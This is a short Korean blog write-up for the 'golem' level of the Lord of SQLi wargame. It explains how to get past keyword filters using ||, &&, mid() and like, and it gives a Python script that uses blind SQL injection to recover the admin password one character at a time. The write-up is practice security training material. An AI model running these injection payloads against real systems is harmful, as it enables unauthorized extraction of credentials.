Web/LOS

LOS - golem

cloudnaaam 2024. 9. 17. 18:59

11번째 문제 golem 이다.

 

or and substr = 가 필터링 되어 있다.

 

각각 || && mid() like 로 우회하면 된다.

import requests

php = '세션값'
pl = 0

for i in range(1,100):
    r = requests.get(url, params={'pw':f"' || id like 'admin' && length(pw) like {i};-- -"}, cookies={'PHPSESSID':php})
    # print(r.text)
    if "Hello admin" in r.text:
        print(i)
        pl=i
        break

password = ''
for i in range(1,pl+1):
    for j in range(48,123):
        r = requests.get(url, params={'pw':f"' || id like 'admin' && ascii(mid(pw,{i},1)) like '{j}';-- -"}, cookies={'PHPSESSID':php})
        if 'Hello admin' in r.text:
            password += chr(j)
            break
print(password)      

이렇게 코드를 짜면

 

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - bugbear  (1) 2024.09.19
LOS - darkknight  (0) 2024.09.17
LOS - skeleton  (0) 2024.09.17
LOS - vampire  (0) 2024.09.17
LOS - troll  (1) 2024.09.17